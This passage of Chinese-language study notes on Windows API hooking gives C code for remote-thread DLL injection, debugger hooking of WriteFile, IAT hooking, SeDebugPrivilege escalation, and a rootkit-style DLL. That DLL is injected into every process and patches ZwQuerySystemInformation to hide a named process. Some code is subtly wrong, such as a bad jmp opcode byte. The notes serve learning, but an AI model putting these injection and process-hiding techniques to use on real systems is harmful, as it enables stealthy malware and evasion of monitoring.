NULL)) ) // lpThreadId
{
printf("CreateRemoteThread() fail : err_code = %d\n", GetLastError());
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int main(int argc, char *argv[])
{
DWORD dwPID = 0;
if( argc != 2 )
{
printf("\n USAGE : %s <pid>\n", argv[0]);
return 1;
}
// change privilege
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
return 1;
// code injection
dwPID = (DWORD)atol(argv[1]);
InjectCode(dwPID);
return 0;
}
API钩取:调试钩取
调试钩取:提供给用户更具交互性的钩取操作
调试器:
用来确认被调试者是否正常运行,发现程序错误。能够一条一条的执行被调试者的指令,拥有寄存器与内存的的所有访问权限
工作原理:
调试进程经过注册之后,每当被调试者触发调试事件,OS就会暂停其运行,并向调试器报告相应事件。调试器对相应事件做适当处理后,使被调试者继续运行。
- 一般的异常Exception也属于调试事件
- 若相应进程处于非调试,调试事件会在其自身的异常处理或OS的异常处理机制中被处理掉
- 调试器无法处理或不关心的调试事件最终由OS处理
调试钩取大概步骤:
DebugActiveProcess(dwPID)将调试器附加到该进程
WaitForDebugEvent(&de, INFINITE)等待被调试者发生事件,
将调试信息设置到de.dwDebugEventCode中
9种调试事件
调试事件之一常量CREATE_PROCESS_DEBUG_EVENT 创建新的进程的dug信号、即调试者第一次进入时执行的代码
调试事件之二常量EXCEPTION_DEBUG_EVENT出现异常事件,
调试事件之三调试进程被终止事件
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);继续启动被调试者
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
结构体de中的u中的CreateProcessInfo含有进程的信息
异常事件19种
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
per->ExceptionCode == EXCEPTION_BREAKPOINT
出现int 3型异常
per->ExceptionAddress == g_pfWriteFile
异常地址
ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(g_cpdi.hThread, &ctx);// 获取线程上下文
线程上下文里面含有esp寄存器内容
SetThreadContext(g_cpdi.hThread, &ctx);重新设置线程
Sleep(0);清空事件片使cpu马上开始执行被调试进程
如何重新改变为int 3
#include <stdio.h>
#include <windows.h>
LPVOID g_pfWriteFile = NULL;// 要下断的地址
CREATE_PROCESS_DEBUG_INFO g_cpdi;
BYTE g_chINT3 = 0xCC, g_chOrgByte = 0;
void OnCreateProcessDebugEvent(DEBUG_EVENT *pde) {
HMODULE hMod = GetModuleHandle("kernel32.dll");
g_pfWriteFile = GetProcAddress(hMod, "WriteFile");
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile, &g_chOrgByte, sizeof(BYTE), NULL);
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile, &g_chINT3, sizeof(BYTE), NULL);
}
bool OnExceptionDebugEvent(DEBUG_EVENT* pde) {
CONTEXT ctx;
PBYTE lpBuffer = NULL;
DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
if (per->ExceptionCode == EXCEPTION_BREAKPOINT) {
if (per->ExceptionAddress == g_pfWriteFile) {
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile, &g_chOrgByte, sizeof(BYTE), NULL);
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(g_cpdi.hThread, &ctx);// ???
ReadProcessMemory(g_cpdi.hProcess, (LPCVOID)(ctx.Esp + 0x8), &dwAddrOfBuffer, sizeof(DWORD), NULL);
ReadProcessMemory(g_cpdi.hProcess, (LPCVOID)(ctx.Esp + 0xC), &dwNumOfBytesToWrite, sizeof(DWORD), NULL);
lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);
memset(lpBuffer, 0, dwNumOfBytesToWrite + 1);
ReadProcessMemory(g_cpdi.hProcess, (LPCVOID)dwAddrOfBuffer, lpBuffer, dwNumOfBytesToWrite, NULL);
for (i = 0; i < dwNumOfBytesToWrite; i++) {
if (lpBuffer[i] >= 'a' && lpBuffer[i] <= 'z') {
lpBuffer[i] = lpBuffer[i] - ('a' - 'A');
}
}
WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer, lpBuffer, dwNumOfBytesToWrite, NULL);
free(lpBuffer);
ctx.Eip = (DWORD)g_pfWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx);
ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
Sleep(0);
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile, &g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
}
return FALSE;
}
void DebugLoop() {
DEBUG_EVENT de;
DWORD dwContinueStatus;
// 处理出发调试器的情况
while (WaitForDebugEvent(&de, INFINITE)) {
dwContinueStatus = DBG_CONTINUE;
// 调试器附加时执行,创建进程时
if (de.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT) {
OnCreateProcessDebugEvent(&de);
}
// 遇到异常时
else if (de.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) {
if (OnExceptionDebugEvent(&de)) {
continue;
}
}
// 进程终止
else if (de.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) {
break;
}
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
}
}
int main(int argc,char *argv[]) {
DWORD dwPID;
if (argc != 2)
{
return 1;
}
dwPID = atoi(argv[1]);
if (!DebugActiveProcess(dwPID)) {
return 1;
}
DebugLoop();
return 0;
}
API钩取:IAT表钩取
结合前面的dll注入与dll卸载
并与用PE文件头的知识
这里不知道为什么加上这个
case DLL_PROCESS_DETACH : hook_iat(“user32.dll”, (PROC)MySetWindowTextW, g_pOrgFunc); break;
就会出现dll被自动卸载的情况,emmmm(刚刚去试了一下又可以注入了)
#include <stdio.h>
#include <Windows.h>
#include <wchar.h>
#include <string.h>
FARPROC g_pOrgFunc = NULL;
typedef BOOL(WINAPI * PFSETWINDOWTEXTW) (HWND hWnd, LPWSTR lpString);
BOOL WINAPI MySetWindowTexW(HWND hWnd,LPWSTR lpString) {
const wchar_t * pNum = L"零一二三四五六七八九";
// wchar_t temp[2] = { 0, };
int i = 0, nlen = 0, nIndex = 0;
nlen = wcslen(lpString);
for (i = 0; i < nlen; i++) {
if (lpString[i] >= L'0' && lpString[i] <= L'9') {
nIndex = lpString[i] - L'0';
lpString[i] = pNum[nIndex];
}
}
return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd , lpString);
}
void hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew) {
HMODULE hMod = NULL;
LPCSTR szLibName = NULL;
PIMAGE_IMPORT_DESCRIPTOR pImport = NULL;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr = NULL;
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;
pAddr += *((DWORD*)&pAddr[0x3c]);
dwRVA = *((DWORD*)&pAddr[0x80]);
pImport = (PIMAGE_IMPORT_DESCRIPTOR)(dwRVA + (DWORD)hMod);
for (; pImport->Name; pImport++) {
szLibName = (LPCSTR)(pImport->Name + (DWORD)hMod);
if (!_stricmp(szLibName, szDllName)) {
pThunk = (PIMAGE_THUNK_DATA)(pImport->FirstThunk + (DWORD)hMod);
for (; pThunk->u1.Function; pThunk++) {
if (pThunk->u1.Function == (DWORD)pfnOrg) {
VirtualProtect((LPVOID)&pThunk->u1.Function, 4, PAGE_EXECUTE_READWRITE, &dwOldProtect);
pThunk->u1.Function = (DWORD)pfnNew;
VirtualProtect((LPVOID)&pThunk->u1.Function, 4, dwOldProtect, &dwOldProtect);
return;
//printf("successful");
}
}
}
}
}
int WINAPI DllMain(HINSTANCE hinstdll,DWORD fdReason,LPVOID lpvReserved) {
switch (fdReason) {
case DLL_PROCESS_ATTACH:
if (g_pOrgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"), "SetWindowTextW")) {
hook_iat("user32.dll", g_pOrgFunc, (PROC)MySetWindowTexW);
}
else {
MessageBox(NULL, L"aaa", L"bbb", MB_OK);
}
break;
case DLL_PROCESS_DETACH :
hook_iat("user32.dll", (PROC)MySetWindowTextW, g_pOrgFunc);
break;
}
return 1;
}
API钩取:API修改钩取 (隐藏进程)
表示HANDLE无效的值
如果您查看返回HANDLE
s的各种函数,您会发现其中一些返回NULL
(如CreateThread
),而其中一些返回INVALID_HANDLE_VALUE
(如CreateFile
)如果您查看返回HANDLE
s的各种函数,您会发现其中一些返回NULL
(如CreateThread
),而其中一些返回INVALID_HANDLE_VALUE
(如CreateFile
)
- 进程权限提升APIOpenProcessToken(网上复制的资料) windows的每个用户登录系统后,系统会产生一个访问令牌(access token) ,其中关联了当前用户的权限信息,用户登录后创建的每一个进程都含有用户access token的拷贝,当进程试图执行某些需要特殊权限的操作或是访问受保护的内核对象时,系统会检查其acess token中的权限信息以决定是否授权操作。Administrator组成员的access token中会含有一些可以执行系统级操作的特权(privileges) ,如终止任意进程、关闭/重启系统、加载设备驱动和更改系统时间等,不过这些特权默认是被禁用的,当Administrator组成员创建的进程中包含一些需要特权的操作时,进程必须首先打开这些禁用的特权以提升自己的权限,否则系统将拒绝进程的操作。注意,非Administrator组成员创建的进程无法提升自身的权限,因此下面提到的进程均指Administrator组成员创建的进程。 Windows以字符串的形式表示系统特权,如“SeCreatePagefilePrivilege”表示该特权用于创建页面文件,“SeDebugPrivilege”表示该特权可用于调试及更改其它进程的内存,为了便于在代码中引用这些字符串,微软在winnt.h中定义了一组宏,如 #define SE_DEBUG_NAME TEXT(“SeDebugPrivilege”)。完整的特权列表可以查阅msdn的security一章。虽然Windows使用字符串表示特权,但查询或更改特权的API需要LUID来引用相应的特权,LUID表示local unique identifier,它是一个64位值,在当前系统中是唯一的。为了提升进程权限到指定的特权,我们必须先找到该特权对应的LUID,这时要调用LookupPrivilegeValue函数。 获得特权对应的LUID之后,我们要打开该特权。此时要用到LUID_AND_ATTRIBUTES结构,其定义如下:
typedef struct _LUID_AND_ATTRIBUTES {
LUID Luid;
DWORD Attributes;//相当于一个权限的开关
} LUID_AND_ATTRIBUTES, * PLUID_AND_ATTRIBUTES;
**Attributes取SE_PRIVILEGE_ENABLED时将打开Luid对应的特权**。设置完成后,我们需要调用AdjustTokenPrivileges函数通知操作系统将指定的access token权限中的特权置为打开状态,前面我们说过,进程执行需要特列权限的操作时系统将检查其access token,因此更改了进程的access token特权设置,也就是更改了所属进程的特权设置。AdjustTokenPrivileges函数的原型如下:
BOOL WINAPI AdjustTokenPrivileges(
__in HANDLE TokenHandle,
__in BOOL DisableAllPrivileges,
__in_opt PTOKEN_PRIVILEGES NewState,
__in DWORD BufferLength,
__out_opt PTOKEN_PRIVILEGES PreviousState,
__out_opt PDWORD ReturnLength
);
TokenHandle是要更改特权设置的acess token的句柄,DisableAllPrivileges表示是否禁用该access
token的所有特权,NewState用来传递要新的特权设置,注意它的类型是PTOKEN_PRIVILEGES,PTOKEN_PRIVILEGES是TOKEN_PRIVILEGES结构的指针,定义如下:
typedef struct _TOKEN_PRIVILEGES {
DWORD PrivilegeCount;
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
其中ANYSIZE_ARRAY被定义为1,可以看到TOKEN_PRIVILEGES中包含了用于设置特权信息的LUID_AND_ATTRIBUTES结构,在使用时,只需要将PrivilegeCount赋为1,然后把Privileges数组的第1个元素(Privileges[0])的Luid域设置为指定特权的Luid,再将其Attributes域设置为SE_PRIVILEGE_ENABLED,就可以完成TokenHandle表示的access token权限的提升了。
下面是一个实际的例子,用来将执行promoteProcessPrivilege的当前进程的指定特权打开,函数参数为指定的特权名,可以传递其宏定义,也可以是完整的字符串表示:
BOOL promoteProcessPrivileges(const TCHAR* newPrivileges)
{
HANDLE tokenHandle;
//获得当前进程的access token句柄
if(::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &tokenHandle) == FALSE)
return FALSE;
TOKEN_PRIVILEGES structTkp;
//查找newPrivileges参数对应的Luid,并将结果写入structTkp.Privileges[0]的Luid域中
if(::LookupPrivilegeValue(NULL, newPrivileges, &structTkp.Privileges[0].Luid) == FALSE){
CloseHandle(tokenHandle);
return FASLE;
}
//设置structTkp结构
structTkp.PrivilegeCount = 1;
structTkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//通知操作系统更改权限
if(::AdjustTokenPrivileges(tokenHandle, FALSE, &structTkp, sizeof(structTkp), NULL, NULL) == FALSE){
CloseHandle(tokenHandle);
return FALSE;
}
CloseHandle(tokenHandle);
return TRUE;
}
1、获取线程或者进程句柄的相关api GetCurrentProcess GetCurrentThread GetCurrentProcessId OpenProcess DuplicateHandle CloseHandle 3、api说明 HANDLE WINAPI GetCurrentProcess(void); 1、返回当前进程的伪句柄(始终返回-1) 2、-1表示当前进程的伪句柄 3、-2表示当前线程的伪句柄,可以用GetCurrentThread试一试(始终返回-2) 4、不要直接使用-1这个值,为了将来的兼容性请使用GetCurrentProcess 5、伪句柄不被继承,想想如果可以继承,那么-1代表什么(父进程的伪句柄?子进程的伪句柄?) 6、可以通过DuplicateHandle和OpenProcess获取当前进程真实句柄 7、伪句柄可以在当前进程中使用,如果需要跨进程通信,那么必须拿出自己真实句柄了 8、伪句柄不需要CloseHandle,即使调用CloseHandle表现为不起作用 9、如果该通过DuplicateHandle和OpenProcess获取当前进程真实句柄后,不在使用时需要CloseHandle,防止句柄泄露
进程影藏也是一门学问,对于权限的认识和使用我还是不太会,老是注入不进关键的程序
注入代码
#include <Windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <tchar.h>
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {// 获取hToken句柄
TOKEN_PRIVILEGES tp; // 关于权限的结构体
tp.PrivilegeCount = 1;// 权限的结构体的数量
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {//查询与SE_DEBUG_NAME相关的权限的Luid并填入tp的结构体中
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;// 这个是权限的开关,如果为0则表示这个权限关闭,为2表示打开,(这个一共有3个选项还有一个是什么我忘了)
if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {// 将这个结构体设置进去,让系统知道
BOOL fOk = (GetLastError() == ERROR_SUCCESS);// 捕捉错误信息
if(!fOk)
{
printf("fOk!=0 error:%d", GetLastError());
}
CloseHandle(hToken);
return TRUE;
}
else
{
printf("AdjustTokenPrivileges error\n");
}
}
else
{
printf("LOOK UP PrivilegeValue error\n");
}
}
else
{
printf("OpenProcessToken error\n");
}
return FALSE;
}
#define INJECTION_MODE 1
// 注入部分代码(可复用)
void InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, dwPID);
if(!hProcess)
{
printf("获取句柄失败:%d\n", GetLastError());
return;
}
// 这里采用宽字符
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(WCHAR);
LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL,dwBufSize, MEM_COMMIT, PAGE_READWRITE);// VirtualAllocEx与VirtualAlloc的区别
WriteProcessMemory(hProcess, pRemoteBuf, szDllPath, dwBufSize, NULL);
HMODULE hMod = GetModuleHandle(L"kernel32.dll");
LPTHREAD_START_ROUTINE pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
}
void EjexctDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
MODULEENTRY32 me = { sizeof(me) };
bool bFound = 0;
for (BOOL bMore = Module32First(hSnapShot, &me); bMore; bMore = Module32Next(hSnapShot, &me))
{
// 带i不区分大小写
if (!_wcsicmp((LPCTSTR)me.szModule, szDllPath) || !_wcsicmp((LPCTSTR)me.szExePath, szDllPath))
{
bFound = 1;
break;
}
}
if (!bFound) {
CloseHandle(hSnapShot);
return;
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, dwPID);
HMODULE hMod = GetModuleHandle(L"kernel32.dll");
LPTHREAD_START_ROUTINE pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "FreeLibrary");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapShot);
}
// 遍历所有的进程,进行注入
BOOL InjectAllProcess(const int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
if (dwPID < 100)
continue;
if (nMode == INJECTION_MODE)
{
InjectDll(dwPID, szDllPath);
}
else
{
EjexctDll(dwPID, szDllPath);
}
} while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
return TRUE;
}
int _tmain(int argc, _TCHAR *argv[])
{
if (argc != 3)
{
return 0;
}
else
{
EnableDebugPrivilege();
if (!_tcsicmp(argv[1], L"-hide"))
{
//printf("yes");
InjectAllProcess(INJECTION_MODE, argv[2]);
}
else if (!_tcsicmp(argv[1], L"-show"))
{
InjectAllProcess(0, argv[2]);
}
}
return 0;
}
钩取dll的代码
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
//typedef LONG NTSTATUS;
//typedef struct _LSA_UNICODE_STRING {
// USHORT Length;
// USHORT MaximumLength;
// PWSTR Buffer;
//}UNICODE_STRING, * PUNICODE_STRING;
//typedef struct _SYSTEM_PROCESS_INFORMATION {
// ULONG NextEntryOffset; //下一个结构的偏移
// ULONG NumberOfThreads;
// BYTE Reserved1[48];
// UNICODE_STRING ProcessName; //进程名字
// ULONG BasePriority;
// HANDLE UniqueProcessId; //进程Pid
// PVOID Reserved3;
// ULONG HandleCount;
// BYTE Reserved4[4];
// PVOID Reserved5[11];
// SIZE_T PeakPagefileUsage;
// SIZE_T PrivatePageCount;
// LARGE_INTEGER Reserved6[6];
//} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS
(WINAPI* ZwQ)( SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
//typedef NTSTATUS (WINAPI* ZwQ)(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
LPCWSTR dll_ntdll = L"ntdll.dll";
LPCSTR func_ZwQ = "ZwQuerySystemInformation";
WCHAR Hide_Process[] = L"notepad.exe";
BYTE old_ZwQ[5] = { 0, };
BOOL unhook_by_code();
BOOL hook_by_code();
BOOL unhook_by_code()
{
DWORD oldProtect;
ZwQ p_ZwQ = (ZwQ)GetProcAddress(GetModuleHandle(dll_ntdll), func_ZwQ);
if (((PBYTE)p_ZwQ)[0] == 0xE9)
{
VirtualProtect((LPVOID)p_ZwQ, 10, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((LPVOID)p_ZwQ, &old_ZwQ, 5);
VirtualProtect((LPVOID)p_ZwQ, 10, oldProtect, &oldProtect);
return TRUE;
}
return FALSE;
}
// SYSTEM_INFORMATION_CLASS由于这个枚举结构体没有文档化,所以没有我们用ULONG代替
NTSTATUS WINAPI new_ZwQ(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) {
PSYSTEM_PROCESS_INFORMATION pCur,pPrev;
unhook_by_code();
FARPROC p_ZwQ = GetProcAddress(GetModuleHandle(dll_ntdll), func_ZwQ);
NTSTATUS status = ((ZwQ)p_ZwQ)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (status != 0)
{// 检查是否报错
hook_by_code();
return status;
}
if (SystemInformationClass == SystemProcessInformation)//只有SystemInformationClass=5(查询进程列表)是才进行应用隐藏操作(看不懂)
{
// pCur是单向链表
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;// 进程信息结构体(这个结构体看不懂)
pPrev = pCur;
while (TRUE)
{
if (pCur->ImageName.Buffer) {
if (!wcscmp(pCur->ImageName.Buffer, Hide_Process)) {
if (pCur->NextEntryOffset == 0) {
pPrev->NextEntryOffset = 0;
}
else {
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
}
else{
pPrev = pCur;
}
}
if (pCur->NextEntryOffset == 0) {
break;
}
pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
}
}
hook_by_code();
return status;
}
BOOL hook_by_code()
{
DWORD oldProtect;
DWORD funAddress = 0;
BYTE szShellCode[5] = { 0xE9,0,0,0,0 };
ZwQ p_ZwQ = (ZwQ)GetProcAddress(GetModuleHandle(dll_ntdll), func_ZwQ);
if (((PBYTE)p_ZwQ)[0] == 0xe9 || p_ZwQ == NULL)
{
return FALSE;
}
funAddress = (DWORD)p_ZwQ;
VirtualProtect((LPVOID)p_ZwQ, 10, PAGE_EXECUTE_READWRITE, &oldProtect);
ReadProcessMemory(GetCurrentProcess(), (LPVOID)funAddress, (LPVOID)old_ZwQ, sizeof(old_ZwQ), NULL);
DWORD distance = (DWORD)new_ZwQ - (DWORD)p_ZwQ - 5;// jmp 的计算细节五
BYTE buf[5] = { 0x9e, 0, };
*(PDWORD)(&buf[1]) = distance;
memcpy((LPVOID)p_ZwQ, buf, 5);
VirtualProtect((LPVOID)p_ZwQ, 10, oldProtect, &oldProtect);
return TRUE;
}
BOOL WINAPI DllMain(HINSTANCE hinsstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = { 0, };
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
char *p = strrchr(szCurProc, '\\');
if ((p != NULL) && (!_stricmp(p + 1, "HideProc.exe"))) {
return TRUE;
}
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
hook_by_code();
break;
case DLL_PROCESS_DETACH:
unhook_by_code();
break;
}
return TRUE;
}
//重新写了一个64位下面跑的dll
//用ifdef 可以实现64位与32位的兼容从而注入所有程序
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
BOOL hookCode();
BOOL unhookCode();
BYTE OrginCode[12] = { 0, };
BYTE szShellCode[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
WCHAR Hide_Process[] = L"notepad.exe";
//WCHAR TargetFun[]=L""
typedef NTSTATUS
(WINAPI* ZwQ)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
NTSTATUS WINAPI NewFun(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength )
{
if (!unhookCode()) {
printf("取消钩取失败\n");
return FALSE;
}
ZwQ hookAdress = (ZwQ)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation");
NTSTATUS status = hookAdress(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass) {
PSYSTEM_PROCESS_INFORMATION pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
while (1) {
if (pCur->ImageName.Buffer) {
if (!wcscmp(pCur->ImageName.Buffer, Hide_Process)) {
if (pCur->NextEntryOffset == 0) {
pPrev->NextEntryOffset = 0;
}
else {
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
}
else {
pPrev = pCur;
}
}
if (pCur->NextEntryOffset == 0) {
break;
}
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
}
}
hookCode();
return status;
}
BOOL hookCode()
{
DWORD oldProtect;
ULONGLONG hookAdress = (ULONGLONG)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation");
if (!hookAdress) {
printf("获取目标函数位置失败\n");
return FALSE;
};
VirtualProtect((LPVOID)hookAdress, 12, PAGE_EXECUTE_READWRITE, &oldProtect);
if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)hookAdress, (LPVOID)OrginCode, sizeof(OrginCode), NULL)) {
printf("读取目标位置失败\n");
return FALSE;
};
ULONGLONG distence = (ULONGLONG)NewFun ;
*(ULONGLONG*)(&szShellCode[2]) = distence;
memcpy((PVOID)hookAdress, szShellCode, sizeof(szShellCode));
VirtualProtect((LPVOID)hookAdress, 12, oldProtect, &oldProtect);
return TRUE;
}
BOOL unhookCode()
{
DWORD oldProtect;
ULONGLONG hookAdress = (ULONGLONG)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation");
if (((PBYTE)hookAdress)[0] == 0x48)
{
VirtualProtect((LPVOID)hookAdress, 12, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((PVOID)hookAdress, (LPVOID)OrginCode, sizeof(OrginCode));
VirtualProtect((LPVOID)hookAdress, 12, oldProtect, &oldProtect);
return TRUE;
}
return FALSE;
}
BOOL WINAPI DllMain(HINSTANCE hisnntDll, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
if (hookCode()) { printf("dll加载成功!!!!\n"); };
break;
case DLL_PROCESS_DETACH:
if (unhookCode()) { printf("dll已经退出。\n"); };
break;
}
return TRUE;
}
对于进程信息结构体网上有很多版本等,以后再来区分
全局隐藏
只需要在dll里面对CreatProcessA()和CreatProcessB()进程钩取
钩取方式与ZwQuerySystemInformation的钩取采用同一个函数,靠写入jmp的方式实现跳转
热补丁技术钩取API
二次跳转
API钩取: IE链接钩取(待修正)
#include <stdio.h>
#include <Windows.h>
#include <wininet.h>
#include <string.h>
#include <winternl.h>
#include <tchar.h>
typedef struct _THREAD_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID TebBaseAddress;
CLIENT_ID ClientId;
KAFFINITY AffinityMask;
LONG Priority;
LONG BasePriority;
} THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION;
typedef NTSTATUS (WINAPI* PFZWQUERYINFORMATIONTHREAD)
(
_In_ HANDLE ThreadHandle,
_In_ THREADINFOCLASS ThreadInformationClass,
_In_ PVOID ThreadInformation,
_In_ ULONG ThreadInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef NTSTATUS (WINAPI* PZwResumeThread)
(
HANDLE ThreadHandle,
PULONG SuspendCount
);
typedef HINTERNET (WINAPI* PINTERNETCONNECT)
(
HINTERNET hInternet,
LPCWSTR lpszServerName,
INTERNET_PORT nServerPort,
LPCTSTR lpszUsername,
LPCTSTR lpszPassword,
DWORD dwService,
DWORD dwFlags,
DWORD_PTR dwContext
);
BYTE szShellCode[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
BYTE OrginNtCode[12] = { 0, };
BYTE OrginWinCode[12] = { 0, };
BOOL unhookCode(const char* hookDllName, const char* hookFunName, PBYTE pOrginCode);
BOOL hookCode(const char* hookDllName, const char* hookFunName, PROC pFunNew, PBYTE pOrginCode);
BOOL InjeactDll(DWORD PID, LPCTSTR szDllPath) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, PID);
if (!hProcess) {
CloseHandle(hProcess);
return FALSE;
}
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf, szDllPath, dwBufSize, NULL);
printf("erorr:%d\n", GetLastError());
HMODULE hMod = GetModuleHandle(L"kernel32.dll");
LPTHREAD_START_ROUTINE pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
printf("erorr:%d\n", GetLastError());
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {// 获取hToken句柄
TOKEN_PRIVILEGES tp; // 关于权限的结构体
tp.PrivilegeCount = 1;// 权限的结构体的数量
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &(tp.Privileges[0].Luid))) {//查询与SE_DEBUG_NAME相关的权限的Luid并填入tp的结构体中
